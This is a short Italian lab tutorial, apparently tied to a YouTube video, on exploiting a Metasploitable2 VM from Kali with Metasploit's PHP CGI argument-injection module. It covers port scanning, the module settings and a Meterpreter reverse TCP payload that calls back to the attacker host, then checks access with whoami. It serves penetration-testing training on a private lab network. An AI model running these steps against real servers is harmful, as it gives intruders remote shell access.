🎬 Questo video di YouTube

1️⃣ Verifica del target

Trova l'IP di Metasploitable da Kali:

ip a

Ad esempio:

Kali: 192.168.56.101

Metasploitable2: 192.168.56.102

Controlliamo porta e servizio:

nmap -p 80 192.168.56.102

Puoi verificare anche nel browser:

http://192.168.56.102/

2️⃣ Avvia Metasploit

msfconsole

3️⃣ Seleziona il modulo exploit PHP CGI

search php cgi

Modulo corretto:

use exploit/multi/http/php_cgi_arg_injection

4️⃣ Configurazione dell'exploit

set RHOSTS 192.168.56.102
set RPORT 80
set TARGETURI /

Selezioniamo il payload:

set PAYLOAD php/meterpreter/reverse_tcp
set LHOST 192.168.56.101
set LPORT 4444

Verifichiamo:

show options

5️⃣ Esecuzione dell'exploit

run

oppure

exploit

Se ha successo:

Meterpreter session 1 opened

6️⃣ Verifica dell'accesso

sysinfo
whoami